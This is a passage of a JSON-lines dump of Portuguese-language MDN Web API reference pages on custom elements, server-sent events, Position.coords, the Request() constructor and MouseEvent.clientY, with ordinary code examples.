countWords(wcParent);\n      text.textContent = count;\n    }, 200);\n  }\n}\n\n// Defina o novo elemento\ncustomElements.define(\"word-count\", WordCount, { extends: \"p\" });\n```\n\n\n\n```html\n<p is=\"word-count\"></p>\n```\n\n### Criando elemento que desativa a capacidade de utilizar attach no shadow root\n\n Se a classe usada para o elemento contém a propriedade estática `disabledFeatures` retornando a string \"shadow\" isso fará com que `Element.attachShadow()` (en-US) retorne um\n `DOMException` (en-US) `NotSupportedError`.\n\n\n```js\nclass PopUpInfo extends HTMLElement {\n  static get disabledFeatures() {\n    return [\"shadow\"];\n  }\n\n  constructor() {\n    super();\n\n    var shadow = this.attachShadow({ mode: \"open\" });\n    // isso fará com que um erro seja lançado quando o elemento for definido.\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-customelementregistry-define-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"CustomElementRegistry.get() - APIs da Web","text":"CustomElementRegistry.get()\n===========================\n\nO **`get()`** é um método de `CustomElementRegistry` a interface retorna um construtor para um elemento personalizado previamente definido.\n\nSyntax\n------\n\n\n```js\nconstructor = customElements.get(name);\n```\n\n### Parâmetros\n\nname\n\nO nome do elemento personalizado cujo construtor você deseja retornar uma referência.\n\n### Valor de retorno\n\nO construtor do elemento personalizado nomeado, ou `undefined`se não há definição de elemento personalizado com esse nome.\n\nExamples\n--------\n\n\n```js\ncustomElements.define(\n  \"my-paragraph\",\n  class extends HTMLElement {\n    constructor() {\n      let templateContent = document.getElementById(\"my-paragraph\").content;\n      super() // returns element this scope\n        .attachShadow({ mode: \"open\" }) // sets AND returns this.shadowRoot\n        .append(templateContent.cloneNode(true));\n    }\n  },\n);\n\n// Retorne uma referência ao construtor my-paragraph\nlet ctor = customElements.get(\"my-paragraph\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-customelementregistry-get-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Usando custom elements - APIs da Web","text":"Usando custom elements\n======================\n\nUm dos principais recursos do padrão de Web Components é a capacidade de criar elementos personalizados que encapsulam sua funcionalidade em uma página HTML, em vez de ter que se contentar com um lote longo e aninhado de elementos que, juntos, fornecem um recurso de página personalizada. Este artigo apresenta o uso da API de Custom Elements.\n\n**Nota:** Custom elements são suportados por padrão no Firefox, Chrome e Edge (76). Opera e Safari até agora suportam apenas custom elements autônomos.\n\nVisão de alto nível\n-------------------\n\nO controlador de custom elements em um documento da web é o objeto `CustomElementRegistry` — este objeto permite que você registre um custom element na página, retorne informações sobre quais custom elements estão registrados, etc..\n\nPara registar um custom element na página, use o método `CustomElementRegistry.define()`. Isso leva como argumentos:\n\n* Um `DOMString` que representa o nome que você está dando ao elemento. Observe que os nomes dos custom elements requerem o uso de um traço (kebab-case); não podem ser palavras isoladas.\n* Um objeto de classe que define o comportamento do elemento.\n* Opcionalmente, um objeto de opções contendo uma propriedade `extends`, que especifica o elemento integrado do qual seu elemento herda, se houver (relevante apenas para elementos integrados personalizados; consulte a definição abaixo).\n\nEntão, por exemplo, podemos definir um custom element word-count `(contagem-palavras)` assim:\n\n\n```js\ncustomElements.define(\"word-count\", WordCount, { extends: \"p\" });\n```\n\n\nO elemento é chamado de `word-count`, seu objeto de classe é `WordCount`, e estende o elemento `<p>`.\n\nO objeto de classe de um custom element é escrito usando a sintaxe de classe ES 2015. Por exemplo, `WordCount` é estruturado assim::\n\n\n```js\nclass WordCount extends HTMLParagraphElement {\n  constructor() {\n    // Sempre chame super primeiro no construtor\n    super();\n\n    // Funcionalidade do elemento escrita aqui\n\n    ...\n  }\n}\n```\n\n\nEste é apenas um exemplo simples, mas você pode fazer mais aqui. É possível definir retornos de chamada de ciclo de vida específicos dentro da classe, que são executados em pontos específicos do ciclo de vida do elemento. Por exemplo, `connectedCallback` é invocado cada vez que o custom element é anexado a um elemento conectado ao documento, enquanto `attributeChangedCallback` é invocado quando um dos atributos do elemento customizado é adicionado, removido ou alterado.\n\nVocê aprenderá mais sobre eles na seção Using the lifecycle callbacks abaixo.\n\nExistem dois tipos de custom elements:\n\n* **Autonomous custom elements** são autonômos — eles não herdam de elementos HTML padrão. Você os usa em uma página, literalmente escrevendo-os como um elemento HTML. Por exemplo `<popup-info>`, ou `document.createElement(\"popup-info\")`.\n* **Customized built-in elements** herdam de elementos HTML básicos. Para criar um deles, você deve especificar qual elemento eles estendem (como implícito nos exemplos acima), e eles são usados escrevendo o elemento básico, mas especificando o nome do elemento personalizado no atributo `is` (ou propriedade). Por exemplo `<p is=\"word-count\">`, ou `document.createElement(\"p\", { is: \"word-count\" })`.\nTrabalhando com alguns exemplos simples\n---------------------------------------\n\nNeste ponto, vamos examinar mais alguns exemplos simples para mostrar como os custom elements são criados com mais detalhes.\n\n### Custom elements autônomos\n\nVamos dar uma olhada em um exemplo de um custom element autônomo — `<popup-info-box>` (veja um exemplo ao vivo). Isso pega um imagem de ícone e uma sequência de texto e incorpora o ícone na página. Quando o ícone está em foco, ele exibe o texto em uma caixa pop-up de informações para fornecer mais informações no contexto.\n\nPara começar, o arquivo JavaScript define uma classe chamada `PopUpInfo`, que estende a classe genérica `HTMLElement` (en-US).\n\n\n```js\nclass PopUpInfo extends HTMLElement {\n  constructor() {\n    // Sempre chame super primeiro no construtor\n    super();\n\n    // escreva a funcionalidade do elemento aqui\n\n    ...\n  }\n}\n```\n\n\nO trecho de código anterior contém a definição do `constructor()` da classe, que sempre começa chamando `super()` para que a cadeia de protótipo correta seja estabelecida.\n\nDentro do construtor, definimos toda a funcionalidade que o elemento terá quando uma instância dele for instanciada. Neste caso, anexamos uma shadow root ao custom element, usamos alguma manipulação de DOM para criar a estrutura de shadow DOM interna do elemento - que é então anexada à shadow root - e, finalmente, anexamos algum CSS à shadow root para estilizá-la.\n\n\n```js\n// Create a shadow root\nthis.attachShadow({ mode: \"open\" }); // sets and returns 'this.shadowRoot'\n\n// Create (nested) span elements\nconst wrapper = document.createElement(\"span\");\nwrapper.setAttribute(\"class\", \"wrapper\");\nconst icon = wrapper.appendChild(document.createElement(\"span\"));\nicon.setAttribute(\"class\", \"icon\");\nicon.setAttribute(\"tabindex\", 0);\n// Insert icon from defined attribute or default icon\nconst img = icon.appendChild(document.createElement(\"img\"));\nimg.src = this.hasAttribute(\"img\")\n  ? this.getAttribute(\"img\")\n  : \"img/default.png\";\n\nconst info = wrapper.appendChild(document.createElement(\"span\"));\ninfo.setAttribute(\"class\", \"info\");\n// Take attribute content and put it inside the info span\ninfo.textContent = this.getAttribute(\"data-text\");\n\n// Create some CSS to apply to the shadow dom\nconst style = document.createElement(\"style\");\nstyle.textContent =\n  \".wrapper {\" +\n  // CSS truncated for brevity\n\n  // attach the created elements to the shadow DOM\n  this.shadowRoot.append(style, wrapper);\n```\n\n\nPor fim, registramos nosso custom element no `CustomElementRegistry` usando o método`define()` mencionado anteriormente — nos parâmetros especificamos o nome do elemento e, em seguida, o nome da classe que define sua funcionalidade:\n\n\n```js\ncustomElements.define(\"popup-info\", PopUpInfo);\n```\n\n\nAgora está disponível para uso em nossa página. Em nosso HTML, nós o usamos assim:\n\n\n```html\n<popup-info\n img=\"img/alt.png\"\n data-text=\"Your card validation code (CVC)\n is an extra security feature — it is the last 3 or 4 numbers on the\n back of your card.\"></popup-info>\n```\n\n\n**Nota:** Você pode ver o código-fonte JavaScript completo aqui.\n\n### Estilos internos vs. externos\n\nNo exemplo acima, aplicamos o estilo ao Shadow DOM usando um elemento `<style>`, mas é perfeitamente possível fazer isso referenciando uma folha de estilo externa de um elemento `<link>` em vez disso.\n\nPor exemplo, dê uma olhada neste código de nosso exemplo popup-info-box-external-stylesheet (veja o código-fonte):\n\n\n```js\n// Aplicar estilos externos ao shadow dom\nconst linkElem = document.createElement(\"link\");\nlinkElem.setAttribute(\"rel\", \"stylesheet\");\nlinkElem.setAttribute(\"href\", \"style.css\");\n\n// Anexe o elemento criado ao shadow dom\nshadow.appendChild(linkElem);\n```\n\n\nObserve que os elementos `<link>` não bloqueiam a pintura do shadow root, portanto, pode haver um flash de conteúdo não estilizado (FOUC) enquanto a folha de estilo é carregada.\n\nMuitos navegadores modernos implementam uma otimização para tags `<style>` clonadas de um nó comum ou que tenham texto idêntico, para permitir que compartilhem uma única folha de estilo de apoio. Com essa otimização, o desempenho dos estilos externo e interno deve ser semelhante.\n\n### Customized built-in elements\n\nAgora vamos dar uma olhada em outro exemplo de custom element integrado — expanding-list (ver ao vivo também). Isso transforma qualquer lista não ordenada em um menu de expansão/recolhimento.\n\nEm primeiro lugar, definimos a classe do nosso elemento, da mesma maneira que antes:\n\n\n```js\nclass ExpandingList extends HTMLUListElement {\n  constructor() {\n    // Sempre chame super primeiro no construtor\n    super();\n\n    // escreva a funcionalidade do elemento aqui\n\n    ...\n  }\n}\n```\n\n\nNão explicaremos a funcionalidade do elemento em detalhes aqui, mas você pode descobrir como ele funciona verificando o código-fonte. A única diferença real aqui é que nosso elemento está estendendo a interface `HTMLUListElement` (en-US), e não `HTMLElement` (en-US). Portanto, ele tem todas as características de um elemento `<ul>` com a funcionalidade que definimos construída no topo, ao invés de ser um elemento autônomo. Isso é o que o torna um elemento integrado personalizado, em vez de um elemento autônomo.\n\nEm seguida, registramos o elemento usando o método `define()` como antes, exceto que, desta vez, ele também inclui um objeto de opções que detalha de qual elemento nosso elemento personalizado herda:\n\n\n```js\ncustomElements.define(\"expanding-list\", ExpandingList, { extends: \"ul\" });\n```\n\n\nUsar o elemento integrado em um documento da web também parece um pouco diferente:\n\n\n```html\n<ul is=\"expanding-list\">\n  ...\n</ul>\n```\n\n\nVocê usa um elemento `<ul>` normalmente, mas especifica o nome do elemento personalizado dentro do atributo `is`.\n\n**Nota:** Novamente, você pode ver o código-fonte JavaScript completo aqui.\n\nUsando os callbacks do ciclo de vida\n------------------------------------\n\nVocê pode definir vários retornos de chamada diferentes dentro da definição de classe de um custom element, que disparam em diferentes pontos do ciclo de vida do elemento:\n\n* `connectedCallback`: Chamado sempre que o custom element é anexado a um elemento conectado ao documento. Isso acontecerá sempre que o nó for movido e pode acontecer antes que o conteúdo do elemento tenha sido totalmente analisado.\n\n**Nota:** `connectedCallback` pode ser chamado assim que seu elemento não estiver mais conectado, use `Node.isConnected` para ter certeza.\n* `disconnectedCallback`: Invocado sempre que o custom element é desconectado do documento DOM.\n* `adoptedCallback`: Invocado sempre que o custom element é movido para um novo documento.\n* `attributeChangedCallback`: Invocado sempre que um dos atributos do custom element é adicionado, removido ou alterado. Os atributos a serem observados na mudança são especificados em um método estático `observedAttributes`\n\nVejamos um exemplo em uso. O código abaixo é retirado do exemplo life-cycle-callbacks (ver rodando ao vivo). Este é um exemplo trivial que simplesmente gera um quadrado colorido de tamanho fixo na página. O custom element tem a seguinte aparência:\n\n\n```html\n<custom-square l=\"100\" c=\"red\"></custom-square>\n```\n\n\nO construtor da classe é realmente simples - aqui anexamos um shadow DOM ao elemento e, em seguida, anexamos os elementos vazios `<div>` e `<style>` ao shadow root:\n\n\n```js\nconst shadow = this.attachShadow({ mode: \"open\" });\n\nconst div = document.createElement(\"div\");\nconst style = document.createElement(\"style\");\nshadow.appendChild(style);\nshadow.appendChild(div);\n```\n\n\nA função chave neste exemplo é `updateStyle()` — isso pega um elemento, pega seu shadow root, encontra seu elemento `<style>`, e adiciona `width`, `height`, e `background-color` para o estilo.\n\n\n```js\nfunction updateStyle(elem) {\n  const shadow = elem.shadowRoot;\n  shadow.querySelector(\"style\").textContent = `\n div {\n width: ${elem.getAttribute(\"l\")}px;\n height: ${elem.getAttribute(\"l\")}px;\n background-color: ${elem.getAttribute(\"c\")};\n }\n `;\n}\n```\n\n\nAs atualizações reais são todas tratadas pelos retornos de chamada do ciclo de vida, que são colocados dentro da definição da classe como métodos. O `connectedCallback()` é executado sempre que o elemento é adicionado ao DOM - aqui, executamos a função `updateStyle()` para garantir que o quadrado seja estilizado conforme definido em seus atributos:\n\n\n```js\nconnectedCallback() {\n  console.log('Custom square element added to page.');\n  updateStyle(this);\n}\n```\n\n\nOs retornos de chamada `disconnectedCallback()` e `adoptedCallback()` registram mensagens simples no console para nos informar quando o elemento é removido do DOM ou movido para uma página diferente:\n\n\n```js\ndisconnectedCallback() {\n  console.log('Custom square element removed from page.');\n}\n\nadoptedCallback() {\n  console.log('Custom square element moved to new page.');\n}\n```\n\n\nO `attributeChangedCallback()` é executado sempre que um dos atributos do elemento é alterado de alguma forma. Como você pode ver por suas propriedades, é possível atuar sobre os atributos individualmente, observando seus nomes e antigos e novos valores de atributos. Neste caso, entretanto, estamos apenas executando a função `updateStyle()` novamente para garantir que o estilo do quadrado seja atualizado de acordo com os novos valores:\n\n\n```js\nattributeChangedCallback(name, oldValue, newValue) {\n  console.log('Custom square element attributes changed.');\n  updateStyle(this);\n}\n```\n\n\nObserve que, para fazer com que o retorno de chamada `attributeChangedCallback()` seja acionado quando um atributo for alterado, você deve observar os atributos. Isso é feito especificando um método `static get observedAttributes()` dentro da classe de custom element - isso deve `retornar` um array contendo os nomes dos atributos que você deseja observar:\n\n\n```js\nstatic get observedAttributes() { return ['c', 'l']; }\n```\n\n\nIsso é colocado bem no topo do construtor, em nosso exemplo.\n\n**Nota:** Encontre o código-fonte JavaScript completo aqui.\n\nPolyfills vs. classes\n---------------------\n\nPolyfills de Custom Element podem corrigir construtores nativos, como `HTMLElement` e outros, e retornar uma instância diferente daquela recém-criada.\n\nSe você precisar de um `constructor` e uma chamada de `super` obrigatória, lembre-se de passar argumentos opcionais e retornar o resultado de tal chamada de `super`.\n\n\n```js\nclass CustomElement extends HTMLElement {\n  constructor(...args) {\n    const self = super(...args);\n    // self functionality written in here\n    // self.addEventListener(...)\n    // return the right context\n    return self;\n  }\n}\n```\n\n\nSe você não precisa realizar nenhuma operação no construtor, você pode simplesmente omiti-lo para que seu comportamento nativo (veja a seguir) seja preservado.\n\n\n```js\n constructor(...args) { return super(...args); }\n```\n\nTranspiladores vs. classes\n--------------------------\n\nObserve que as classes ES2015 não podem ser transpiladas de forma confiável em Babel 6 ou TypeScript visando navegadores legados. Você pode usar o Babel 7 ou o babel-plugin-transform-builtin-classes para Babel 6, e target ES2015 em TypeScript em vez do legado..\n\nBibliotecas\n-----------\n\nExistem várias bibliotecas que são construídas em Web Components com o objetivo de aumentar o nível de abstração ao criar elementos personalizados. Algumas dessas bibliotecas são snuggsi ツ, X-Tag, Slim.js, LitElement, Smart, Stencil e hyperHTML-Element."}
{"title":"Usando eventos enviados pelo servidor - APIs da Web","text":"Usando eventos enviados pelo servidor\n=====================================\n\nO desenvolvimento de um aplicativo da Web que usa eventos enviados pelo servidor (en-US) é simples. Você precisará de um pouco de código no servidor para transmitir eventos para o front-end, mas o código do lado do cliente funciona quase de forma idêntica a websockets em parte do tratamento eventos de entrada. Esta é uma conexão unidirecional, portanto, você não pode enviar eventos de um cliente para um servidor.\n\nRecebendo eventos do servidor\n-----------------------------\n\nA API de eventos enviados pelo servidor está contida na interface `EventSource`; para abrir uma conexão com o servidor para começar a receber eventos dele, crie um novo objeto `EventSource` com a URL de um script que gera os eventos. Por exemplo:\n\n\n```js\nconst evtSource = new EventSource(\"ssedemo.php\");\n```\n\n\nSe o script do gerador de eventos estiver hospedado em uma origem diferente, um novo objeto `EventSource` deve ser criado com a URL e um dicionário de opções. Por exemplo, supondo que o script do cliente esteja em `example.com`:\n\n\n```js\nconst evtSource = new EventSource(\"//api.example.com/ssedemo.php\", {\n  withCredentials: true,\n});\n```\n\n\nDepois de instanciar a origem do evento, você pode começar a ouvir as mensagens do servidor anexando um manipulador para o evento `message` (en-US):\n\n\n```js\nevtSource.onmessage = (event) => {\n  const newElement = document.createElement(\"li\");\n  const eventList = document.getElementById(\"list\");\n\n  newElement.textContent = `message: ${event.data}`;\n  eventList.appendChild(newElement);\n};\n```\n\n\nEste código escuta as mensagens recebidas (ou seja, avisos do servidor que não possuem um campo `event`) e anexa o texto da mensagem a uma lista no HTML do documento.\n\nVocê também pode escutar eventos com `addEventListener()`:\n\n\n```js\nevtSource.addEventListener(\"ping\", (evento) => {\n  const novoElemento = document.createElement(\"li\");\n  const eventList = document.getElementById(\"list\");\n  const time = JSON.parse(event.data).time;\n  newElement.textContent = `ping em ${time}`;\n  eventList.appendChild(newElement);\n});\n```\n\n\nEste código é semelhante, exceto que será chamado automaticamente sempre que o servidor enviar uma mensagem com o campo `event` definido como \"ping\"; ele então analisa o JSON no campo `data` e gera essa informação.\n\n**Aviso:** quando **não usado em HTTP/2**, o SSE sofre de uma limitação ao número máximo de conexões abertas, o que pode ser especialmente doloroso ao abrir várias guias, pois o limite é *por navegador* e é definido para um número muito baixo (6). O problema foi marcado como \"Não será corrigido\" no Chrome e no Firefox. Esse limite é por navegador + domínio, o que significa que você pode abrir 6 conexões SSE em todas as guias para `www.example1.com` e outras 6 conexões SSE para `www.example2.com` (por Stackoverflow). Ao usar HTTP/2, o número máximo de *streams HTTP* simultâneos é negociado entre o servidor e o cliente (o padrão é 100).\n\nEnviando eventos do servidor\n----------------------------\n\nO script do lado do servidor que envia eventos precisa responder usando o tipo MIME `text/event-stream`. Cada notificação é enviada como um bloco de texto finalizado por um par de novas linhas. Para obter detalhes sobre o formato do fluxo de eventos, consulte Formato do fluxo de eventos.\n\nO código PHP para o exemplo que estamos usando aqui segue:\n\n\n```php\ndate\\_default\\_timezone\\_set(\"America/New\\_York\");\nheader(\"Cache-Control: no-store\");\nheader(\"Content-Type: text/event-stream\");\n\n$counter = rand(1, 10);\nwhile (true) {\n  // A cada segundo, envia um evento \"ping\".\n\n  echo \"evento: ping\\n\";\n  $curDate = date(DATE\\_ISO8601);\n  echo 'data: {\"time\": \"' . $curDate . '\"}';\n  echo \"\\n\\n\";\n\n  // Envia uma mensagem simples em intervalos aleatórios.\n\n  $counter--;\n\n  if (!$counter) {\n    echo 'data: Esta é uma mensagem no momento ' . $curDate . \"\\n\\n\";\n    $counter = rand(1, 10);\n  }\n\n  ob\\_end\\_flush();\n  flush();\n\n  // Interrompe o loop se o cliente abortou a conexão (fechou a página)\n\n  if (connection\\_aborted()) break;\n\n  sleep(1);\n}\n```\n\n\n O código acima gera um evento a cada segundo, com o tipo de evento \"ping\". Os dados de cada evento são um objeto JSON contendo o carimbo de data/hora ISO 8601 correspondente à hora em que o evento foi gerado. Em intervalos aleatórios, uma mensagem simples (sem tipo de evento) é enviada.\n O loop continuará funcionando independentemente do status da conexão, portanto, uma verificação é incluída\n para quebrar o loop se a conexão foi fechada (por exemplo, o cliente fecha a página).\n\nvocê pode encontrar um exemplo completo que usa o código mostrado neste artigo no GitHub — veja [Simple SSE demo using PHP](https://github.com/mdn/dom-examples/tree/main /servidor-enviados-eventos).\n\nManipulação de erros\n--------------------\n\nQuando ocorrem problemas (como um tempo limite de rede ou problemas relacionados a controle de acesso), um evento de erro é gerado. Você pode agir sobre isso programaticamente implementando o retorno de chamada `onerror` no objeto `EventSource`:\n\n\n```js\nevtSource.onerror = (err) => {\n  console.error(\"EventSource falhou:\", err);\n};\n```\n\nFechando streams de eventos\n---------------------------\n\nPor padrão, se a conexão entre o cliente e o servidor for fechada, a conexão será reiniciada. A conexão é finalizada com o método `.close()`.\n\n\n```js\nevtSource.close();\n```\n\nFormato do fluxo de eventos\n---------------------------\n\nO fluxo de eventos é um fluxo simples de dados de texto que deve ser codificado usando UTF-8. As mensagens no fluxo de eventos são separadas por um par de caracteres de nova linha. Dois pontos como o primeiro caractere de uma linha é essencialmente um comentário e é ignorado.\n\n**Nota:** A linha de comentário pode ser usada para evitar que as conexões atinjam o tempo limite; um servidor pode enviar um comentário periodicamente para manter a conexão ativa.\n\nCada mensagem consiste em uma ou mais linhas de texto listando os campos dessa mensagem. Cada campo é representado pelo nome do campo, seguido por dois pontos, seguido pelos dados de texto para o valor desse campo.\n\n### Campos\n\nCada mensagem recebida tem alguma combinação dos seguintes campos, um por linha:\n\n`event`\n\nUma string que identifica o tipo de evento descrito. Se isso for especificado, um evento será despachado no navegador para o ouvinte para o nome do evento especificado; o código-fonte do site deve usar `addEventListener()` para ouvir eventos nomeados. O manipulador `onmessage` é chamado se nenhum nome de evento for especificado para uma mensagem.\n\n`data`\n\nO campo de dados para a mensagem. Quando o `EventSource` recebe várias linhas consecutivas que começam com `data:`, ele as concatena, inserindo um caractere de nova linha entre cada uma. As novas linhas à direita são removidas.\n\n`id`\n\no ID do evento para definir o último valor do ID do evento do objeto `EventSource`.\n\n`retry`\n\nO tempo de reconexão. Se a conexão com o servidor for perdida, o navegador aguardará o tempo especificado antes de tentar se reconectar. Deve ser um número inteiro, especificando o tempo de reconexão em milissegundos. Se um valor não inteiro for especificado, o campo será ignorado.\n\nTodos os outros nomes de campo são ignorados.\n\n**Nota:** se uma linha não contiver dois pontos, a linha inteira será tratada como o nome do campo com uma string de valor vazia.\n\n### Exemplos\n\n#### Mensagens somente de dados\n\nNo exemplo a seguir, há três mensagens enviadas. O primeiro é apenas um comentário, pois começa com dois pontos. Como mencionado anteriormente, isso pode ser útil como um mecanismo de manutenção se as mensagens não forem enviadas regularmente.\n\nA segunda mensagem contém um campo de dados com o valor \"algum texto\". A terceira mensagem contém um campo de dados com o valor \"outra mensagem\\ncom duas linhas\". Observe o caractere especial de nova linha no valor.\n\n\n```bash\n: este é um fluxo de teste\n\ndados: algum texto\n\ndados: outra mensagem\ndados: com duas linhas\n```\n\n\n#### Eventos nomeados\n\nEste exemplo envia eventos nomeados. Cada um tem um nome de evento especificado pelo campo `event` e um campo `data` cujo valor é uma string JSON apropriada com os dados necessários para que o cliente atue no evento. O campo `data` pode, é claro, ter qualquer string de dados; não precisa ser JSON.\n\n\n```bash\nevento: userconnect\ndata: {\"username\": \"bobby\", \"time\": \"02:33:48\"}\n\nevento: mensagem do usuário\ndata: {\"username\": \"bobby\", \"time\": \"02:34:11\", \"text\": \"Olá a todos.\"}\n\nevento: userdisconnect\ndata: {\"username\": \"bobby\", \"time\": \"02:34:23\"}\n\nevento: mensagem do usuário\ndata: {\"username\": \"sean\", \"time\": \"02:34:36\", \"text\": \"Tchau, bobby.\"}\n```\n\n\n#### Misturando e combinando\n\nVocê não precisa usar apenas mensagens sem nome ou eventos digitados; você pode misturá-los em um único fluxo de eventos.\n\n\n```bash\nevento: userconnect\ndata: {\"username\": \"bobby\", \"time\": \"02:33:48\"}\n\ndata: Aqui está uma mensagem do sistema de algum tipo que será usada\ndados: para realizar alguma tarefa.\n\nevento: mensagem do usuário\ndata: {\"username\": \"bobby\", \"time\": \"02:34:11\", \"text\": \"Olá a todos.\"}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-eventsource-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Position.coords - APIs da Web","text":"Position.coords\n===============\n\n**Secure context:** This feature is available only in secure contexts (en-US) (HTTPS), in some or all supporting browsers.\n\nA propriedade **`Position.coords`** é somente leitura. É um objeto de `Coordinates` que contém uma representação geográfica: a localização, que é a latitude e longitude na Terra, a altitude e a velocidade do objeto em questão. Também contempla a precisão da informação sobre estes valores.\n\nSintaxe\n-------\n```\n\ncoord = position.coords\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Geolocation API # coords-attribute |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando geolocalização (en-US)\n* A interface `Position` a qual ela pertence."}
{"title":"Request() - APIs da Web","text":"Request()\n=========\n\nO construtor **`Request()`** cria um novo objeto `Request`.\n\nSintaxe\n-------\n```\n\nvar myRequest = new Request(input[, init]);\n```\n\n### Parâmetros\n\n*input*\n\nDefine o recurso que você deseja buscar. Isso pode ser:\n\n* Um `USVString` (en-US) contendo o URL direto do recurso que você deseja buscar.\n* Um objeto `Request`, criando efetivamente uma cópia. Observe as seguintes atualizações comportamentais para reter a segurança e, ao mesmo tempo, tornar o construtor menos propenso a gerar exceções:\n    + Se esse objeto existir em outra origem para a chamada do construtor, o `Request.referrer` (en-US) será removido.\n    + Se esse objeto tiver um `Request.mode` (en-US) de navegação, o valor do modo será convertido para a mesma origem.\n\n*init* Optional\n\nUm objeto de opções contendo quaisquer configurações personalizadas que você deseja aplicar à solicitação. As opções possíveis são:\n\n* `method`: O método de request, ex: `GET`, `POST`.\n* `headers`: Quaisquer cabeçalhos que você deseja adicionar à sua solicitação, contidos em um objeto `Headers` (en-US) ou em um objeto literal com valores de `ByteString` (en-US).\n* `body`: Qualquer corpo que você deseja adicionar à sua solicitação: isso pode ser um `Blob`, `BufferSource`, `FormData`, `URLSearchParams`, `USVString` (en-US), ou objeto `ReadableStream` (en-US). Observe que uma solicitação usando o método GET ou HEAD não pode ter um corpo.\n* `mode`: O modo que você deseja usar para a solicitação, por exemplo: `cors`, `no-cors`, `same-origin`, or `navigate`. O padrão é `cors`. No Chrome o padrão é `no-cors` antes do Chrome 47 e `same-origin` do Chrome 47 em diante.\n* `credentials`: As credenciais de solicitação que você deseja usar para a solicitação: `omit`, `same-origin`, ou `include`. O padrão é `omit`. No Chrome o padrão é `same-origin` antes do Chrome 47 e `include` do Chrome 47 em diante.\n* `cache`: O cache mode (en-US) que você deseja usar para a solicitação.\n* `redirect`: O modo de redirecionamento para usar: `follow`, `error`, or `manual`. No Chrome o padrão é `follow` (antes do Chrome 47 foi padronizado `manual`).\n* `referrer`: Um `USVString` (en-US) especificando `no-referrer`, `client`, ou uma URL. O padrão é `client`.\n* `integrity`: Contém o valor de integridade do sub-recurso (en-US) da solicitação (exemplo: `sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=`).\n\nErros\n-----\n\n| Tipo | Descrição |\n| --- | --- |\n| `TypeError` | Desde Firefox 43 (en-US), `Request()` lançará um TypeError se o URL tiver credenciais, tal como `http://user:password@example.com`. |\n\nExemplo\n-------\n\nEm nosso exemplo Fetch Request(veja Fetch Request live) nós criamos um novo objeto `Request` usando o construtor, em seguida, busque-o usando uma chamada `GlobalFetch.fetch` (en-US). Como estamos buscando uma imagem, executamos o `Body.blob` (en-US) na resposta para fornecer o tipo MIME adequado para que ela seja manipulada corretamente. Em seguida, criamos uma URL do objeto e a exibimos em um Elemento `<img>`.\n\n\n```js\nvar myImage = document.querySelector(\"img\");\n\nvar myRequest = new Request(\"flowers.jpg\");\n\nfetch(myRequest)\n  .then(function (response) {\n    return response.blob();\n  })\n  .then(function (response) {\n    var objectURL = URL.createObjectURL(response);\n    myImage.src = objectURL;\n  });\n```\n\n\nEm nosso Fetch Request with init example (veja Fetch Request init live) nós fazemos a mesma coisa, exceto que passamos em um objeto init quando invocamos `fetch()`:\n\n\n```js\nvar myImage = document.querySelector('img');\n\nvar myHeaders = new Headers();\nmyHeaders.append('Content-Type', 'image/jpeg');\n\nvar myInit = { method: 'GET',\n               headers: myHeaders,\n               mode: 'cors',\n               cache: 'default' };\n\nvar myRequest = new Request('flowers.jpg',myInit);\n\nfetch(myRequest).then(function(response) {\n  ...\n});\n```\n\n\nObserve que você também pode passar o objeto init para a chamada `fetch` para obter o mesmo efeito, por exemplo:\n\n\n```js\nfetch(myRequest,myInit).then(function(response) {\n  ...\n});\n```\n\n\nVocê também pode usar um literal de objeto como `headers` em `init`.\n\n\n```js\nvar myInit = {\n  method: \"GET\",\n  headers: {\n    \"Content-Type\": \"image/jpeg\",\n  },\n  mode: \"cors\",\n  cache: \"default\",\n};\n\nvar myRequest = new Request(\"flowers.jpg\", myInit);\n```\n\n\nVocê também pode passar um objeto `Request` para o construtor `Request()` para criar uma cópia do Request (isso é semelhante a chamar o método `clone()` (en-US) .)\n\n\n```js\nvar copy = new Request(myRequest);\n```\n\n\n**Nota:** Este último uso é provavelmente útil apenas em ServiceWorkers (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # ref-for-dom-request① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* ServiceWorker API (en-US)\n* HTTP access control (CORS) (en-US)\n* HTTP"}
{"title":"MouseEvent.clientY - APIs da Web","text":"MouseEvent.clientY\n==================\n\nA propriedade **`clientY`** da interface `MouseEvent` fornece a coordenada vertical do cliente dentro da aplicacão em que o evento ocorreu (ao contrário da coordenada que pertence a página).\n\nPor exemplo, clicando no topo da área do cliente sempre resultará num evento de mouse com um valor `0` de `clientY`, independente se a página está \"escrollada\" verticalmente.\n\nSintaxe\n-------\n```\n\nvar y = instanciaDeEventoDoMouse.clientY\n```\n\n### Valor de retorno\n\nO valor retornado por essa propriedade é um valor flutuante double como foi redefinida pelo \"CSSOM View Module\". Originalmente esta propriedade era definida como um inteiro `long`. Veja a seção de compatibilidade de browsers para mais detalhes.\n\nExemplo\n-------\n\nEste exemplo mostra as coordenadas do mouse quando você ativar o evento `mousemove (en-US)`.\n\n### HTML\n\n\n```html\n<p>Mova seu mouse para ver sua posicão.</p>\n<p id=\"screen-log\"></p>\n```\n\n### JavaScript\n\n\n```js\nlet screenLog = document.querySelector(\"#screen-log\");\ndocument.addEventListener(\"mousemove\", logKey);\n\nfunction logKey(e) {\n  screenLog.innerText = `\n Screen X/Y: ${e.screenX}, ${e.screenY}\n Client X/Y: ${e.clientX}, ${e.clientY}`;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # dom-mouseevent-clienty |\n\nCompatibilidade 